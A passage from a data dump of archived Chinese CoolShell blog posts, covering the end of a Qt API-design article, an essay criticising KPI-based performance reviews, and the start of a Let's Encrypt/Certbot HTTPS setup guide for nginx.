visible);<br/>\nbool isTextVisible() const;<br/>\n[/code]</p>\n<p>默认情况下，显示文本是百分比指示器（percentage indicator），通过重写<code>text()</code>方法来定制行为。</p>\n<p>Qt 3的<code>setCenterIndicator()</code>与<code>setIndicatorFollowsStyle()</code>是两个影响对齐方式的函数。他们可被一个<code>setAlignment()</code>函数代替：</p>\n<p>[code language=”cpp”]<br/>\nvoid setAlignment(Qt::Alignment alignment);<br/>\n[/code]</p>\n<p>如果开发者未调用<code>setAlignment()</code>，那么对齐方式由风格决定。对于基于<code>Motif</code>的风格，文字内容在中间显示；对于其他风格，在右侧显示。</p>\n<p>下面是改善后的<code>QProgressBar API</code>:</p>\n<p>[code language=”cpp”]<br/>\nclass QProgressBar : public QWidget<br/>\n{<br/>\n    …<br/>\npublic:<br/>\n    void setMinimum(int minimum);<br/>\n    int minimum() const;<br/>\n    void setMaximum(int maximum);<br/>\n    int maximum() const;<br/>\n    void setRange(int minimum, int maximum);<br/>\n    int value() const;</p>\n<p>    virtual QString text() const;<br/>\n    void setTextVisible(bool visible);<br/>\n    bool isTextVisible() const;<br/>\n    Qt::Alignment alignment() const;<br/>\n    void setAlignment(Qt::Alignment alignment);</p>\n<p>public slots:<br/>\n    void reset();<br/>\n    void setValue(int value);</p>\n<p>signals:<br/>\n    void valueChanged(int value);<br/>\n    …<br/>\n};<br/>\n[/code]</p>\n<h2>8.2 <code>QAbstractPrintDialog</code> &amp; <code>QAbstractPageSizeDialog</code></h2>\n<p>Qt 4.0有2个幽灵类<code>QAbstractPrintDialog</code>和<code>QAbstractPageSizeDialog</code>，作为 <code>QPrintDialog</code>和<code>QPageSizeDialog</code>类的父类。这2个类完全没有用，因为Qt的API没有是<code>QAbstractPrint-</code>或是<code>-PageSizeDialog</code>指针作为参数并执行操作。通过篡改qdoc（Qt文档），我们虽然把这2个类隐藏起来了，却成了无用抽象类的典型案例。</p>\n<p>这不是说，<strong><em>好</em></strong> 的抽象是错的，<code>QPrintDialog</code>应该是需要有个工厂或是其它改变的机制 —— 证据就是它声明中的<code>#ifdef QTOPIA_PRINTDIALOG</code>。</p>\n<h2>8.3 <code>QAbstractItemModel</code></h2>\n<p>关于模型/视图（model/view）问题的细节在相应的文档中已经说明得很好了，但作为一个重要的总结这里还需要强调一下：抽象类不应该仅是所有可能子类的并集（union）。这样『合并所有』的父类几乎不可能是一个好的方案。<code>QAbstractItemModel</code>就犯了这个错误 —— 它实际上就是个<code>QTreeOfTablesModel</code>，结果导致了错综复杂（complicated）的API，而这样的API要让 <strong><em>所有本来设计还不错的子类</em></strong> 去继承。</p>\n<p>仅仅增加抽象是不会自动就把API变得更好的。</p>\n<h2>8.4 <code>QLayoutIterator</code> &amp; <code>QGLayoutIterator</code></h2>\n<p>在Qt 3，创建自定义的布局类需要同时继承<code>QLayout</code>和<code>QGLayoutIterator</code>（命名中的<code>G</code>是指Generic（通用））。<code>QGLayoutIterator</code>子类的实例指针会包装成<code>QLayoutIterator</code>，这样用户可以像和其它的迭代器（iterator）类一样的方式来使用。通过<code>QLayoutIterator</code>可以写出下面这样的代码：</p>\n<p>[code language=”cpp”]<br/>\nQLayoutIterator it = layout()-&gt;iterator();<br/>\nQLayoutItem **child;<br/>\nwhile ((child = it.current()) != 0) {<br/>\n    if (child-&gt;widget() == myWidget) {<br/>\n        it.takeCurrent();<br/>\n        return;<br/>\n    }<br/>\n    ++it;<br/>\n}<br/>\n[/code]</p>\n<p>在Qt 4，我们干掉了<code>QGLayoutIterator</code>类（以及用于盒子布局和格子布局的内部子类），转而是让<code>QLayout</code>的子类重写<code>itemAt()</code>、<code>takeAt()</code>和<code>count()</code>。</p>\n<h2>8.5 <code>QImageSink</code></h2>\n<p>Qt 3有一整套类用来把完成增量加载的图片传递给一个动画 —— <code>QImageSource</code>/<code>Sink</code>/<code>QASyncIO</code>/<code>QASyncImageIO</code>。由于这些类之前只是用于启用动画的<code>QLabel</code>，完全过度设计了（overkill）。</p>\n<p>从中得到的教训就是：对于那些未来可能的还不明朗的需求，不要过早地增加抽象设计。当需求真的出现时，比起一个复杂的系统，在简单的系统新增需求要容易得多。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5444.html\"><img alt=\"千万不要把 bool 设计成函数参数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4758.html\"><img alt=\"如何写出无法维护的代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4758.html\">如何写出无法维护的代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17680.html\"><img alt=\"从Gitlab误删除数据库想到的\" height=\"150\" src=\"../wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17680.html\">从Gitlab误删除数据库想到的</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17459.html\"><img alt=\"关于高可用的系统\" height=\"150\" src=\"../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17459.html\">关于高可用的系统</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2017-7-9 我看绩效考核.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-sup_wechat_big wp-image-17977\" height=\"200\" src=\"../wp-content/uploads/2017/07/performance_review-360x200.jpg\" width=\"360\"/>（本来，这篇文章应该在5月份完成，我拖延症让我今天才完成）</p>\n<p>前些天，有几个网友找我谈绩效考核的事，都是在绩效上被差评的朋友。在大致了解情况后，我发现他们感到沮丧和郁闷的原因，不全是自己没有做好事情，他们对于自己没有做好公司交给的事，一方面，持一些疑义，因为我很明显地感到他们和公司对一件是否做好的标准定义有误差，另一方面，他们对于自己的工作上的问题也承认。不过，让他们更多感到沮丧的原因则是，公司、经理或HR和他们的谈话，让他们感觉整个人都被完全否定了，甚至有一种被批斗的感觉。这个感觉实在是太糟糕了。</p>\n<p>因为我也有相似的经历，所以，我想在这里写下一篇文章，谈谈自己的对一些绩效考核的感受。先放出我的两个观点：</p>\n<p style=\"padding-left: 30px;\"><strong>1）制定目标和绩效，目的不是用来考核人的，而用来改善提高组织和人员业绩和效率的。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>2）人是复杂的，人是有状态波动的，任何时候都不应该轻易否定人，绩效考核应该考核的是事情，而不是人。</strong></p>\n<p>我个人比较坚持的认为——<strong>绩效分应该打给项目，打给产品，打给部门，打给代码，而不是打给人。</strong>然而现在的管理体制基本上都是打给人，而很多根本不擅长管理的经理和HR以及很多不会独立思考的吃瓜群众基本上都会把矛头指向个人，所以，当然会有开批斗会的感觉。</p>\n<p><span id=\"more-17972\"></span></p>\n<p> </p>\n<h4>举几个例子</h4>\n<p>为了讲清楚我的上述观点，请让我先铺垫一下，先说几个例子吧，韩寒的例子我就不说了。</p>\n<p style=\"padding-left: 30px;\">苏步青同学在小学时成绩很糟糕，全班倒数第一。</p>\n<p style=\"padding-left: 30px;\">华罗庚同学上学时数学还考不及格，要不是王维克老师的鼓励并让他爱上了数学，他可能也就完全埋没了。</p>\n<p style=\"padding-left: 30px;\">郑渊洁上学时，老师要求写《早起的鸟有虫子吃》，郑渊洁唱反调写《早起的虫子被鸟吃》，再加上数学老师发难，于是被开除了。从此郑渊洁没有上过一天学。</p>\n<p style=\"padding-left: 30px;\">列夫尔斯泰大贵族出身，2岁丧母，9岁丧父，16岁上大学，大学三年级自动退学回家进行改革。在青年时期不好好读书，考试不及格，留级。他赌博、借债、鬼混……</p>\n<p>这个的例子太多了，我从另一个方面举几个体育运动相关的例子，可能年轻的朋友都不知道，可以问问你们的父母。</p>\n<p style=\"padding-left: 30px;\">80年代，中国有一批非常优秀的体育运动员，比如：体操王子李宁，打破过世界跳高记录的朱建华，还有乒乓球世界冠军马文革，还有羽毛球世界冠军赵建华，记得有一年参加世界比赛，他们全输了，而输的还很惨。于是国内的一些媒体和民众开始骂他们，甚至说他们是民族的败类、耻辱，还有很多人找上门要教训他们……</p>\n<p>如果我们把绩效分比做在学校里的考试分，那么你是否会和我一样认为，考试的成绩只能代表这个人对这些知识点的掌握或理解，而且仅仅在这个时间点，根本不代表这个人根本就不行，更不代表他一直不行。因为挂科太多被学校开除的同学，并不见得这些人在社会上就无活生活下去，反而，他们中的有些人可能会考试成绩好的人还活得好。不是么？这样的例子在我们身边还少吗？</p>\n<p>所以，当我看到某HR说某老员工——“他今天要不自己离开，未来一年也一定会因为绩效问题而被公司开了的”，除了感到居然有人类可以预知他人未来的可笑之外，我感到是一种悲哀，一种管理体制上的悲哀，我感到了在这HR考评背后一股非常强的暗流和不可见的力量让她干出了这样一件匪夷所思的事。</p>\n<p>好些公司还考评价值观，价值观无可厚非，<strong>我觉得一个企业的价值观是非常必要的，但是考核价值观是件非常危险的事情。</strong>这个世界上和传统势力唱反调的人实在是太多了，而被定性为价值观有问题被迫害的人也是多了去了。被批斗被侮辱被毒打的老舍；因为同性恋问题，被迫害而自杀的图灵；因为不同意教会观点被监禁8年都不愿意放弃自己的信仰最终被烧死的布鲁诺，…… 这样的事情已经够多了，新的时代里不应该再发生这样的事了，无论大小。</p>\n<p>考核价值观最大的问题就是非常容易的上纲上线，也非常容易的被制造政治斗争，也非常容易的扼杀各种不同思想，老实说，这从很大程度上是一种洗脑的手段——通过对人制造一种紧张或恐惧而达到控制思想的目的。</p>\n<p> </p>\n<h4>对公司和管理者想说的话</h4>\n<p>下面我来谈谈绩效考核我的一些观点。在谈这个观点前，你可以移步看一下这篇新闻报道——《<a href=\"http://tech.qq.com/a/20120614/000196.htm\" rel=\"noopener noreferrer\" target=\"_blank\">绩效主义毁了索尼</a>》。而近年来，“放弃绩效考核”的斗争已经从科技企业中的Adobe、戴尔、微软、亚马逊，席卷到德勤、埃森哲、普华永道等咨询服务类企业。甚至通用电气（GE）——曾经的绩效管理的鼻祖，也宣布抛弃正式的年度绩效考核。在刚过去的2016年，腾讯的张小龙对微信事业群发出“警惕KPI”的呼声；李彦宏在内部信中将百度的掉队归咎于“从管理层到员工对短期KPI的追逐”；雷军干脆宣布小米“继续坚持‘去KPI’的战略，放下包袱，解掉绳索，开开心心地做事。”；王石也在个人微博中感慨：“绩效主义像企业的脓包”。</p>\n<p>绩效考核在本质上就是像学校教育以分数论英雄，而忽略员工的成长和素质教育是一个道理。当学生和老师只关注考试分数时，而只有考试分数来评价老师和学生的优良中差时，老师和学生就会开始使用一些非常形式的方式来达到这个目标，比如：死记硬被，记套路，题海战术…… 而学习的能力的考评彻底地沦为了一种形式主义。反而，分数考的越高，脑子越死。（注：美国现行教育是不允许通过学生考试成绩来评价老师的能力的）</p>\n<p>近几年来，一些大公司开始使用 OKR – Objectives, Key Result ，但是在实践过程中，我发现好些公司用OKR，本质上还是KPI – Key Performance Indicator， 因为OKR里面有一个Key Result，用来衡量 Objectives 的结果指标。于是，使用者习惯性的设置上了KPI。<strong>我个人认为 OKR 有三个非常大的特性：0）由员工提出，1）以目标为导向。2）全员共享。</strong></p>\n<p>举个例子，OKR可能会是制定成下面这个样子的：</p>\n<p style=\"padding-left: 30px;\">Objectives：增强用户体验，</p>\n<p style=\"padding-left: 30px;\">Key Results：</p>\n<p style=\"padding-left: 60px;\">1）用户操作步骤减少20%以上，</p>\n<p style=\"padding-left: 60px;\">2）客服减少40%以上工单，</p>\n<p style=\"padding-left: 60px;\">3）用户99.9%的系统操作的响应时间为100ms以下</p>\n<p style=\"padding-left: 30px;\">然后，把这个目标分解给产品、用户体验、技术团队，形成子的Objectives并关连上相应的父级的Key Result，比如，产品部门定义的Objectives：1）优化注册流程，减少2个步骤，2）优化红包算法，让用户更容易理解，3）提高商品质量，减少用户投诉。后端技术团队定义的Objectives： 1）定义SLA以及相关监控指标，2）自动化运维，减少故障恢复时间，3）提高性能，吞吐量在xxxqps下的99.9%的响应时间为xxms ……</p>\n<p>这个Objective会从公司最高层一直分解到一线员工，信息完全透明，每个人都可以看到所有人被分解到目标，每个人都知道自己在为什么样的目标而奋头，而每个人也可以质疑，改进，建议调整最高层的目标和方向。而不是领到的是被层层消化过的变味的二手，三手甚至四五手的信息。</p>\n<p><strong>而 KPI 最大的问题就是用 OKR 里的 Key Results 拿来当目标，从而导致员工只知道要做什么，不知道为什么，不知道为什么，不能理解目标，工作也就成了实实在在的应付！</strong></p>\n<p>松下公司早在1933年，就召集168名员工，把松下未来250年的远景规划目标公布于众，从1956年开始，就定期宣布并解读自身的“五年计划”，帮助每位员工的目光从眼前的短期利益移开，树立自己的理想和目标，也促进了松下的可持续性发展。</p>\n<p>然而，今时不同往昔，随着产品周期的不断缩减、竞争对手的持续涌入、高新技术的频频迭代，企业的战略的变化与调整变得更加频繁，朝令夕改的经营策略已经成为兵家常态。 在这一过程中，有多少员工了解调整之后的战略呢？员工的绩效指标又根据战略调整多少次了呢？</p>\n<p><strong>KPI本身是一种被动的、后置的考察，在工作完成之后考察员工的行为是否符合标准。因此，员工对于公司的目标漠不关心，只关心自己的KPI，因为这才是自己的最大的利益，为了达到KPI，有的员工开始不思考，并使用一些简单粗暴的玩法，其实这样既害了公司，也害了自己。自己的成长和进步也因为强大的 KPI 而抛在了脑后。</strong></p>\n<p><strong>当然，KPI 绩效考核一般来说，不一定会毁掉公司的，相反，对于喜欢使用蛮力的劳动密集型的公司来说，可能还有所帮助，然而，KPI毁掉的一定是团队的文化和团队的挑战精神，以及创新和对事业的热情，甚至会让其中的人失去应有的正常的判断力（分不清充分和必要条件，分不清很多事的因果关系）。</strong></p>\n<p> </p>\n<h4>对职场人想说的话</h4>\n<p>那么，对于个人来说，如何面对公司给自己的绩效考核呢？如何面对他们的绩效考核呢？</p>\n<p>还是用学校考试分数来做对比，如果说，用考试分数论英雄，一个人考高分就是绩效上的人才，考不及格的人就是人渣，这对吗？当然不是。也许仅于对于考试来说可以把人分成三六九等，但是对于整个人生来说，考试成绩和一个人在这个社会里的的成就并没有非常直接的因果关系。面对现实的社会，最终很多成绩好的人为成绩差的人工作的例子也有很多很多了。</p>\n<p>我想说什么？我想说的是——<strong>用一颗平常心来面对公司给你打的分数，因为那并不代表你的整个人生。但是，你要用一颗非常严肃的心来面对自己的个人发展和成长，因为这才是真正需要认真对待的事。</strong></p>\n<p>换句话说，<strong>如果要给一个人打绩效分，那不是由一个公司在一个短期的时间时打出来，而是由这个人在一个长期的时间里所能达到的成就得出来的。</strong></p>\n<p>就像WhatsApp的联合创始人Brian Acton 在 2009年时面试Facebook时没有面试通过，然而在 5 年以后，他把自己创办的公司以190亿美元卖给了FaceBook。阿里巴巴的马云不也一样吗？找工作各种被拒，开办的第一个公司成绩也不好，20年前，一堆人都说马云这也不行那也不行，然而，后面呢？反过来说，也很多职业经理人在公司里绩效非常好，然后到了创业公司却搞得非常的糟糕，这又说明了什么呢？</p>\n<p>这就像动物一样，有的动物适合在水里生活，有的动物适合在陆地上，鱼在陆地上是无法生存的，你让老虎去完成游泳的工作，你让鱼去完成鸟类的工作，你能考核到什么呢？<strong>我们每个人都有适合自己的环境，找到适合自己的环境才是最关键的！与其去关注别人对自己的评价，不如去寻找适合自己的环境。</strong></p>\n<p>所以，<strong>一个特定环境下的绩效考核并不代表什么，而那些妄图用绩效考核去否定一个人的做法，或多或少就是“法西斯”或“红卫兵”的玩法</strong>。</p>\n<p>好了！让我们不要再说绩效考核了，让我们回到，真正让自己提高，让自己成长，让自己的强的话题上来吧。这里，我需要转引一篇文章《<a href=\"https://brendansterne.com/2013/07/11/do-the-right-thing-wait-to-get-fired/\" rel=\"noopener noreferrer\" target=\"_blank\">Do the Right Thing, Wait to get fired</a>》，文中提到《 <a href=\"https://www.amazon.cn/gp/product/1449302440\" rel=\"noopener noreferrer\" target=\"_blank\">Team Geek</a>》这本书中的一句话</p>\n<blockquote><p><strong>做正确的事情，等着被开除。</strong></p>\n<p>谷歌新员工(我们称做“Nooglers”)经常会问我是如何让自己做事这么高效的。我半开玩笑的告诉他们这很简单：<strong>我选择做正确的事情，为谷歌，为世界，然后回到座位上，等着被开除。如果没有被开除，那我就是做了正确的事情——为所有人。如果被开除了，那选错了老板。总之，两方面，我都是赢</strong>。这是我的职业发展策略。</p></blockquote>\n<p>注明一下，“做正确的事，等着被开除”并不是一句鸡汤，而是让你变强大的话。因为强者自强，只有强者才能追求真理，而不是委曲求全。</p>\n<p>嗯，<strong>考试分数不是关键，别人对你的评价也不是关键，自己有没有成长有没有提高有没有上一个台阶才是关键。KPI不是关键，OKR也不是关键，有没有在做正确的事，这才是关键！</strong>不是这样吗？</p>\n<h4>其它</h4>\n<p>我大学四年级时，觉得马上就要离开学校了，当时想干点以后再以没有机会干的事。想来想去，就是上学这么多年来，从来没有不及格过，于是我任性了一把，挂了一个科，去补考了一下。挂科的时候也收到一些同学的笑话，还有老师的批评，不过，这让我感觉我的学校经历更完整了。因为，这让我在22岁的时候，就经历并大概明白了一些人生的道理。</p>\n<p>从98年工作到2013年来，就像一个好学生一样，我从来没有出现过任何的工作绩效问题，反正还经常在工作中成为标杠型的人，然并卵，只有自己成长才是最真实的感觉。“做正确的事，等着被开除”，这可能是我迄今为止在职场里做的最疯狂也是最正确的事了。因为，这让我有更多的经历，让我从正确的事中得到提高，也让我内心变得越来越强大，也让我找到了更具挑战的事，更让我对自己有更清楚的认识。</p>\n<p>最后，我知道一定会有人来怼我，所以，最后我还想留段话，留给那些还是想通过绩效来否定人的人。</p>\n<p style=\"padding-left: 30px;\">如果你对我的绩效或技术能力有怀疑，没问题，那么希望你能做到下述我已做到的事，再来喷我，谢谢！</p>\n<p style=\"padding-left: 30px;\">“<strong>在你40岁，在父亲病重，孩子上学问题、房贷并未还清、你是全家唯一收入来源之类的中年危机的情况下，辞去你现在的工作，不加入任何一家公司，不用自己的任何一分钱积蓄，不要任何人的投资和帮助。只通过自己的技术能力，为别人解决相应的技术难题（不做任何无技术含量的外包项目），来生存养家，并除了能照顾好自己的家人没有降低自己的生活水平之外，还能再养活3个每人年薪36万元的工程师</strong>”</p>\n<p style=\"padding-left: 30px;\">请问这样的绩效能打个几分呢？呵呵。</p>\n<p>当然，不管怎么说，我还有很多路要走，还有很多不足，我还要继续努力。所以，我挑了一条对我来说最难走的路，作死创业……</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17972.html\">我看绩效考核</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2017-8-26 如何免费的让网站启用HTTPS.html",
    "content": "<html><body><p><img alt=\"\" class=\"aligncenter size-full\" height=\"220\" src=\"../wp-content/uploads/2017/08/enable-https-banner.png\" width=\"700\"/>今天，我把CoolShell变成https的安全访问了。我承认这件事有点晚了，因为之前的HTTP的问题也有网友告诉我，被国内的电信运营商在访问我的网站时加入了一些弹窗广告。另外，HTTP的网站在搜索引擎中的rank会更低。所以，这事早就应该干了。现在用HTTP访问CoolShell会被得到一个 301 的HTTPS的跳转。下面我分享一下启用HTTPS的过程。</p>\n<p>我用的是 <a href=\"https://letsencrypt.org\" rel=\"noopener noreferrer\" target=\"_blank\">Let’s Encrypt</a>这个免费的解决方案。Let’s Encrypt 是一个于2015年推出的数字证书认证机构，将通过旨在消除当前手动创建和安装证书的复杂过程的自动化流程，为安全网站提供免费的SSL/TLS证书。这是由<a href=\"https://letsencrypt.org/isrg/\" rel=\"noopener noreferrer\" target=\"_blank\">互联网安全研究小组</a>（ISRG – Internet Security Research Group，一个公益组织）提供的服务。主要赞助商包括<a href=\"https://www.eff.org\" rel=\"noopener noreferrer\" target=\"_blank\" title=\"电子前哨基金会\">电子前哨基金会</a>，<a class=\"mw-redirect\" href=\"https://www.mozilla.org/foundation/\" rel=\"noopener noreferrer\" target=\"_blank\" title=\"Mozilla基金会\">Mozilla基金会</a>，<a href=\"https://www.akamai.com/\" rel=\"noopener noreferrer\" target=\"_blank\" title=\"Akamai\">Akamai</a>以及Cisco等公司（<a href=\"https://letsencrypt.org/sponsors/\" rel=\"noopener noreferrer\" target=\"_blank\">赞助商列表</a>）。<sup class=\"reference\" id=\"cite_ref-3\"></sup></p>\n<p>2015年6月，Let’s Encrypt得到了一个存储在硬件安全模块中的离线的RSA根证书。这个由IdenTrust证书签发机构交叉签名的根证书被用于签署两个证书。其中一个就是用于签发请求的证书，另一个则是保存在本地的证书，这个证书用于在上一个证书出问题时作备份证书之用。因为IdenTrust的CA根证书目前已被预置于主流浏览器中，所以Let’s Encrypt签发的证书可以从项目开始就被识别并接受，甚至当用户的浏览器中没有信任ISRG的根证书时也可以。</p>\n<p><span id=\"more-18094\"></span></p>\n<p>以上介绍文字来自 Wikipedia 的 <a href=\"https://zh.wikipedia.org/wiki/Let%27s_Encrypt\" rel=\"noopener noreferrer\" target=\"_blank\">Let’s Encrypt 词条</a>。</p>\n<p>为你的网站来安装一个证书十分简单，只需要使用电子子前哨基金会EFF的 <a href=\"https://certbot.eff.org\" rel=\"noopener noreferrer\" target=\"_blank\">Certbot</a>，就可以完成。</p>\n<p style=\"padding-left: 30px;\">1）首先，打开 <a href=\"https://certbot.eff.org\" rel=\"noopener noreferrer\" target=\"_blank\">https://certbot.eff.org</a> 网页。</p>\n<p style=\"padding-left: 30px;\">2）在那个机器上图标下面，你需要选择一下你用的 Web 接入软件 和你的 操作系统。比如，我选的，<code>nginx</code> 和 <code>Ubuntu 14.04</code></p>\n<p style=\"padding-left: 30px;\">3）然后就会跳转到一个安装教程网页。你就照着做一遍就好了。</p>\n<p>以Coolshell.cn为例 – Nginx + Ubuntu</p>\n<p>首先先安装相应的环境：</p>\n<pre class=\"EnlighterJSRAW\">\n$ sudo apt-get update\n$ sudo apt-get install software-properties-common\n$ sudo add-apt-repository ppa:certbot/certbot\n$ sudo apt-get update\n$ sudo apt-get install python-certbot-nginx\n</pre>\n<p>然后，运行如下命令：</p>\n<pre class=\"EnlighterJSRAW\">\n$ sudo certbot --nginx\n</pre>\n<p><code>certbot</code> 会自动检查到你的 <code>nginx.conf</code> 下的配置，把你所有的虚拟站点都列出来，然后让你选择需要开启 https 的站点。你就简单的输入列表编号（用空格分开），然后，certbot 就帮你下载证书并更新 <code>nginx.conf</code> 了。</p>\n<p>你打开你的 <code>nginx.conf</code> 文件 ，你可以发现你的文件中的 <code>server</code> 配置中可能被做了如下的修改：</p>\n<pre class=\"EnlighterJSRAW\">listen 443 ssl; # managed by Certbot\nssl_certificate /etc/letsencrypt/live/coolshell.cn/fullchain.pem; # managed by Certbot\nssl_certificate_key /etc/letsencrypt/live/coolshell.cn/privkey.pem; # managed by Certbot\ninclude /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot</pre>\n<p>和</p>\n<pre class=\"EnlighterJSRAW\"> # Redirect non-https traffic to https\nif ($scheme != \"https\") {\n  return 301 https://$host$request_uri;\n} # managed by Certbot</pre>\n<p> </p>\n<p>这里建议配置 http2，这要求 Nginx 版本要大于 1.9.5。HTTP2 具有更快的 HTTPS 传输性能，非常值得开启（<a href=\"http://blog.httpwatch.com/2015/01/16/a-simple-performance-comparison-of-https-spdy-and-http2/\" rel=\"noopener noreferrer\" target=\"_blank\">关于性能你可以看一下这篇文章</a>）。需要开启HTTP/2其实很简单，只需要在 <code>nginx.conf</code> 的 <code>listen 443 ssl;</code> 后面加上 <code>http2</code> 就好了。如下所示：</p>\n<pre class=\"EnlighterJSRAW\">listen 443 ssl http2; # managed by Certbot \nssl_certificate /etc/letsencrypt/live/coolshell.cn/fullchain.pem; # managed by Certbot \nssl_certificate_key /etc/letsencrypt/live/coolshell.cn/privkey.pem; # managed by Certbot \ninclude /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot</pre>\n<p>然后，就 <code>nginx -s reload</code> 就好了。</p>\n<p>但是，<strong>Let’s Encrypt 的证书90天就过期了</strong>，所以，你还要设置上自动化的更新脚本，最容易的莫过于使用 <code>crontab</code> 了。使用 <code>crontab -e</code> 命令加入如下的定时作业（每个月都强制更新一下）：</p>\n<pre class=\"EnlighterJSRAW\">0 0 1 * * /usr/bin/certbot renew --force-renewal\n5 0 1 * * /usr/sbin/service nginx restart</pre>\n<p>当然，你也可以每天凌晨1点检查一下：</p>\n<p><code class=\"EnlighterJSRAW\">0 1 * * * certbot renew </code></p>\n<p>注：crontab 中有六个字段，其含义如下：</p>\n<ul>\n<li>第1个字段：分钟 (0-59)</li>\n<li>第2个字段：小时 (0-23)</li>\n<li>第3个字段：日期 (1-31)</li>\n<li>第4个字段：月份 (1-12 [12 代表 